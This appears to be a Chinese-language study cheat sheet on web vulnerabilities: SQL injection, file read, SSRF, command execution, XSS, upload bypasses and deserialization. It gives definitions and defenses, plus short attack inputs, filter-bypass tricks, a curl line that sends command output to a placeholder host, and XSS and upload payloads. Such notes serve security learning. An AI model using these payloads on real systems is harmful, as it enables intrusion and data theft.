漏洞挖掘-利用
一、文章简介
整合一些web漏洞,以及对漏洞的理解。
二、Web漏洞
1.SQL注入
(1)定义
开发者程序编写过程中,对传入用户数据过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句当中,再将这些查询语句传递到后端的数据库执行,从而引发实际执行的语句与预期不一致的情况。
(2)利用
1、数字型:输入点附近没有引号包裹($_GET['id'])运算模式能被运算,即1+1 => 2
2、字符型:($id)运算模式无法运算,即1+1 => 1+1
(3)碰到的问题
1、联合查询只有一行结果,无法显示所需要的
答:用 limit 进行参数限制 或者 另一条记录用一个很大的值使其无法被查询到
2、注入语法示例
答:
xxxxx'union select table-name,1 from information_schema.tables where table_schema='dvwa'#
xxxxx'union select column_name,1 from information_schema.columns where table_name='users'#
3、注入流程
答:
1、判断字符型还是数字型;
2、判断字段数量;
3、查看回显字段;
4、获取数据库和用户名;
5、查表名;
6、查表字段;
7、读取
注:复选框则通过Burpsuite抓包repeater;若引号无法使用,将表名改为database()自动获取,以及十六进制转换提交。
(4)防御
1、查询前的条件利用函数判断,函数过滤
2、输入转义、参数化查询
3、waf防护、云端防护
(5)注入思路
1、只过滤空格 => url编码代替空白符(如:%09)
2、将select替换为空 => 嵌套构造(如:selselectect)
3、大小写匹配 => 大小写混写(如:sElect)
4、正则匹配 =>构造绕过(如:正则'\bselect\b' => /*!50000select*/)
5、逃逸引号 => 编码绕过,\转义
6、字符串截断 =>\转义
(6)危害
获取敏感数据,权限提升,控制关键文件,控制整个数据库,执行系统命令
2.任意文件读取
(1)定义
攻击者通过一些手段读取服务器上开发者不允许读到的文件。
(2)利用
1、php的 php://filter 伪协议
2、Python的 feature函数
3、java的 file://协议
4、Ruby on Rails远程代码执行漏洞(CVE-2017-14849;CVE-2018-3760;CVE-2019-5418)
5、node模板注入、代码注入
6、nginx配置错误导致目录穿越(/static../ => /static/../)
(3)思路
1、爆破目录
2、利用filter协议:php://filter/convert.Base64-encode
3、利用zip协议:zip://uploads/xxx.png#1.php
3.SSRF漏洞(服务器请求伪造)
(1)定义
攻击者通过构造数据进而伪造服务器端发起请求的漏洞,通常是服务端提供了从外部服务获取数据的功能,但没对目标地址协议等参数进行过滤限制,导致攻击者可以自由构造函数,发起预期外的请求。
(2)利用
1、测试是否能控制支持常见协议(file://etc/passwd 、dict://xxx.xxx.xxx:xxxx/info 、gopher://xxxxx)
2、写入Crontab反弹shell攻击Redis
3、DNS重绑定
4.命令执行漏洞
(1)定义
调用函数执行命令且未对输入做过滤处理。
(2)利用
构造使其能同时执行多条命令即可
(3)思路
1、黑名单关键字=>利用变量进行拼接;使用通配符(?/*);借用已有字符( substr() 截取)
2、无回显=>指令外带,在平台上获取执行结果(for /F %x in (xx) do xxxxx)or (curl xx/'xxx');时间盲注(ping -nc 5 xxxxx);命令写入web目录下(x.php?cmd=whoami>test)再访问文件。
3、正则限制=>找缺漏(如:正则未多行匹配,进行绕过)
4、限制命令长度=>利用上传的文件名字拼接
5.XSS(跨站脚本攻击)
(1)定义
利用网页开发的漏洞,注入恶意代码到网页使用户加载并执行攻击者恶意制造的网页程序
(2)利用
1、存储型:恶意代码被服务器存储,在访问页面时会直接触发。
2、反射型:恶意代码未被服务器存储,每次出发通过GET/POST方式提交触发。
3、DOM型:在前端通过JS渲染完成数据交互,且不经过服务器,不需要与服务器交互。
(3)思路
1、特殊标签闭合实现payload逃逸
2、闭合引号在变量传入恶意代码
3、on事件;img标签;input标签的autofocus属性;
4、伪协议: javascript:xxx (如: javascript:alert(1) )
5、data伪协议(如:data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=)
注:乱码为<script>alert("xss")</script>的base64编码
6、借助模板的二次渲染完成沙箱逃逸(jinjia2)
7、html编码
8、变量替代
9、闭合引号转义
10、JSONP命令接口(callback=xxxxxx)
注:JSONP:解决主流浏览器的跨域数据访问,指向一个接口(动态添加)
(4)防御
1、httponly
2、输入检查
3、输出检查(安全的编码函数)
6.web文件上传漏洞
(1)定义
实现文件上传时,没有对用户上传的文件做好处理
(2)利用
1、00截断:x.php/00.jpg=>x.php
2、转换字符集造成截断
3、文件后缀绕过(php3/php5/phtml/pht)
4、上传.htaccess/.user.ini
5、IIS解析漏洞(x.asp;a.jpg=>x.asp)
6、Nginx解析漏洞(先构造代码将后缀改为jpg,之后上传x.jpg文件,访问x.jpg/1.php,因为该文件不存在且要用php解析,故最后以php解析了x.php)
7、Apache解析漏洞(使用AddType时,x.php.xxx文件由于没有对应的处理器处理xxx,所以往左识别出php,交给php处理器处理)
8、Apache CVE-2017-15715漏洞(FilesMatch指令正则中$能匹配到换行符,导致.php\n的文件能被解析)
9、location匹配顺序导致绕过
注:location ^~:普通字符串匹配后不再进行正则匹配;location:大小写敏感,前缀匹配,不是完全匹配则会继续匹配;location ~:正则匹配,匹配成功则不考虑后面的
10、临时文件利用
11、死亡之die绕过:使用字符串过滤器把exit()处理掉(upload.php --data "filename=php://filter/write=convert.base64-decode/resource=x.php")
12、zip文件绕过;zip文件在文件被删除前访问文件生成另一个脚本文件到非上传目录中(不断上传访问最终成功);解压到一半失败的zip包;目录跳跃(当使用第三方解压方法时,文件名为../x.php)
(3)碰到的问题
1、web服务器中配置上传目录的脚本文件禁止访问
答:将目录穿越上传到根目录(../x.php)。
2、文件上传到OSS(云服务器)怎么办?
答:当网站把OSS绑定在自己的二级域名下时就能用了。
3、上传文件无法被解析访问
答:上传一个php文件配合文件包含实现解析(page.php?upload=x.php)
4、getimgesize检测文件是否为正常图片的绕过
答:php代码添加到图片内容后即可
5、imagecreatefromjpeg绕过
答:上传正常图片,下载回渲染后的图片,运行脚本处理,将代码注入图片,上传新生成的图
7.反序列化漏洞
(1)反序列化定义
将对象的状态信息转换为可存储或者可传输的过程就是序列化,反序列化是为了方便对象的传输,获取之前的对象
(2)利用
1、__wakeup失效 CVE-2016-7124:属性个数不正确使wakeup失效后,利用destruct写入文件
2、bypass反序列化正则拦截逃逸:函数中存在"+"的判断,在对象名的长度前加上"+"号即可
3、字符逃逸CVE-2015-8562:类中不存在的属性也会进行反序列化,因字符数不对应出错,本身过滤函数使用后会变为2倍出错,故直接写入正确数量插入。(插入";i:1;s:8:"scanfsec";},长度为22,原序列添加22个x且长度加22*2=44个)
相关文章:
漏洞挖掘-利用
一、文章简介 整合一些web漏洞,以及对漏洞的理解。 二、Web漏洞 1.SQL注入 (1)定义 开发者程序编写过程中,对传入用户数据过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句当中,再将这些查询语句传递到…...
React钩子函数之useDeferredValue的基本使用
在React中,使用钩子函数可以方便地管理组件的状态和副作用。useDeferredValue是React 18中新引入的钩子函数之一,它可以帮助我们优化渲染性能,让组件更加流畅。 useDeferredValue的作用是将一个值延迟更新。这个值可以是状态、属性或其他变量…...
lodash常用方法
cloneDeep 克隆 import { cloneDeep,reduce } from lodash; const b {c:1} const a cloneDeep(b)debounce 防抖 import { debounce } from lodash; debounce(() > {}, 300, { trailing: true })()omit方法删除指定属性,返回一个新的对象 import …...
QByteArray与结构体之间相互转换
Qt项目会碰到自定义结构体和字符数组之间的转换问题,不妨假设结构体名字为custom_struct, 字符数组名字为array_data QByteArray转换为自定义结构体 custom_struct *struct_data reinterpret_cast<custom_struct *>(array_data.data());自定义结构体转换为…...
npm如何安装淘宝镜像
通过命令配置 这种方法是通过修改npm的全局配置文件,将默认的镜像源改为淘宝镜像。具体步骤如下: 打开终端,输入以下命令,设置淘宝镜像源:(windowr) npm config set registry https://registr…...
从项目中突显技能:在面试中讲述你的编程故事
🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…...
python的观察者模式案例
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言二、具体代码写在结尾 前言 最近写安卓的代码比较多,了解了java代码的注册回调机制,也就是观察者模式,搜索了一下python也有…...
C语言——类型转换
数据有不同的类型,不同类型数据之间进行混合运算时涉及到类型的转换问题。 转换的方法有两种: 自动转换(隐式转换):遵循一定的规则,由编译系统自动完成强制类型转换:把表达式的运算结果强制转换成所需的数据类型 语法格…...
jmeter性能测试入门完整版
1. Jmeter简介 Apache JMeter是一款纯java编写负载功能测试和性能测试开源工具软件。相比Loadrunner而言,JMeter小巧轻便且免费,逐渐成为了主流的性能测试工具,是每个测试人员都必须要掌握的工具之一。 本文为JMeter性能测试完整入门篇&…...
报错sql_mode=only_full_group_by
首发博客地址 https://blog.zysicyj.top/ 报错内容 ### The error may exist in file[D:\code\cppCode20221025\leader-system\target\classes\mapper\system\TJsonDataMapper.xml] ### The error may involve defaultParameterMap ### The error occurred while…...
伪造 IP 地址的原理和防范措施
在数字化时代,网络安全是至关重要的话题。其中,伪造 IP 地址是一种可能导致网络攻击和欺诈的技术手段。这里将深入探讨伪造 IP 地址的原理以及如何采取措施来防范这种风险。 一.伪造 IP 地址的原理 伪造 IP 地址是一种操纵网络通信的方式,它…...
Linux通过libudev获取挂载路径、监控U盘热拔插事件、U盘文件系统类型
文章目录 获取挂载路径监控U盘热拔插事件libusb 文件系统类型通过挂载点获取挂载路径添libudev加库 获取挂载路径 #include <stdio.h> #include <libudev.h> #include <string.h>int main() {struct udev *udev;struct udev_enumerate *enumerate;struct ud…...
【会议征稿】2023智能通信与网络国际学术会议(ICN 2023)
2023智能通信与网络国际学术会议(ICN 2023) 2023 International Conference on Intelligent Communication and Networking (ICN2023) 2023智能通信与网络国际学术会议(ICN 2023)将于2023年11月10-12日在中国常州召开。ICN 2023…...
Android投屏总结
#android手机投屏 ####导语 至于手机投屏的实现方法可谓五花八门,今天小袁就说下以开发人员的角度来说下当今手机的主流投屏方法。目前这种将终端信号经由WiFi传输到电视、电视盒的技术有三种:DLNA、AirPlay、Miracast、Google Cast。 ##手机投屏智能电…...
vue2 组件组成部分,组件通信,进阶语法
一、学习目标 1.组件的三大组成部分(结构/样式/逻辑) scoped解决样式冲突/data是一个函数 2.组件通信 组件通信语法父传子子传父非父子通信(扩展) 4.进阶语法 v-model原理v-model应用于组件sync修饰符ref和$refs$nextTic…...
信看课堂笔记—LDO和DC-DC电路打PK
LDO(low dropout voltage regulator,低压差线性稳压器)和DC-DC(Direct current-Direct current converter,直流电压转直流电压转换器)电源是非常常见的电源电路,LDO 出来的比较早,像老戏骨一样,…...
C++ Day6
目录 一、菱形继承 1.1 概念 1.2 格式 二、虚继承 2.1 作用 2.2 格式 2.3注意 三、多态 3.1函数重写 3.2 虚函数 3.3 赋值兼容规则 3.4 多态中,函数重写的原理 3.5 虚析构函数 3.5.1 格式 3.6 纯虚函数 3.6.1格式 四、抽象类 五、模板 5.1模板的特…...
分布式系统与微服务的区别是什么?
分布式系统和微服务是两个相关但不同的概念,它们都是在构建复杂的软件应用时使用的架构思想。 分布式系统: 分布式系统是指由多个独立的计算机或服务器通过网络连接共同工作,协同完成一个任务或提供一个服务。在分布式系统中,各个…...
python:用python构建一个物联网平台
要使用Python构建物联网平台,您需要考虑以下步骤: 确定平台的基本要求和功能 首先,您需要明确您将要构建的平台的功能和特点。例如,您可能需要支持多种设备,并使用各种传感器来收集数据。您可能需要实现实时数据可视化…...
基于Qt5开发图形界面——WiringPi调用Linux单板电脑IO
Qt5——WiringPi Qt5WiringPi示例教程 Qt5 Qt是一种跨平台的应用程序开发框架。它被广泛应用于图形用户界面(GUI)开发,可以用于构建桌面应用程序、移动应用程序和嵌入式应用程序。Qt提供了丰富的功能和工具,使开发人员可以快速、高…...
反向工程与模型迁移:打造未来商品详情API的可持续创新体系
在电商行业蓬勃发展的当下,商品详情API作为连接电商平台与开发者、商家及用户的关键纽带,其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息(如名称、价格、库存等)的获取与展示,已难以满足市场对个性化、智能…...
定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...
智能仓储的未来:自动化、AI与数据分析如何重塑物流中心
当仓库学会“思考”,物流的终极形态正在诞生 想象这样的场景: 凌晨3点,某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径;AI视觉系统在0.1秒内扫描包裹信息;数字孪生平台正模拟次日峰值流量压力…...
css3笔记 (1) 自用
outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size:0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格ÿ…...
基于 TAPD 进行项目管理
起因 自己写了个小工具,仓库用的Github。之前在用markdown进行需求管理,现在随着功能的增加,感觉有点难以管理了,所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD,需要提供一个企业名新建一个项目&#…...
JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...
LLMs 系列实操科普(1)
写在前面: 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容,原视频时长 ~130 分钟,以实操演示主流的一些 LLMs 的使用,由于涉及到实操,实际上并不适合以文字整理,但还是决定尽量整理一份笔…...
DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...
Linux nano命令的基本使用
参考资料 GNU nanoを使いこなすnano基础 目录 一. 简介二. 文件打开2.1 普通方式打开文件2.2 只读方式打开文件 三. 文件查看3.1 打开文件时,显示行号3.2 翻页查看 四. 文件编辑4.1 Ctrl K 复制 和 Ctrl U 粘贴4.2 Alt/Esc U 撤回 五. 文件保存与退出5.1 Ctrl …...
基于Java+VUE+MariaDB实现(Web)仿小米商城
仿小米商城 环境安装 nodejs maven JDK11 运行 mvn clean install -DskipTestscd adminmvn spring-boot:runcd ../webmvn spring-boot:runcd ../xiaomi-store-admin-vuenpm installnpm run servecd ../xiaomi-store-vuenpm installnpm run serve 注意:运行前…...
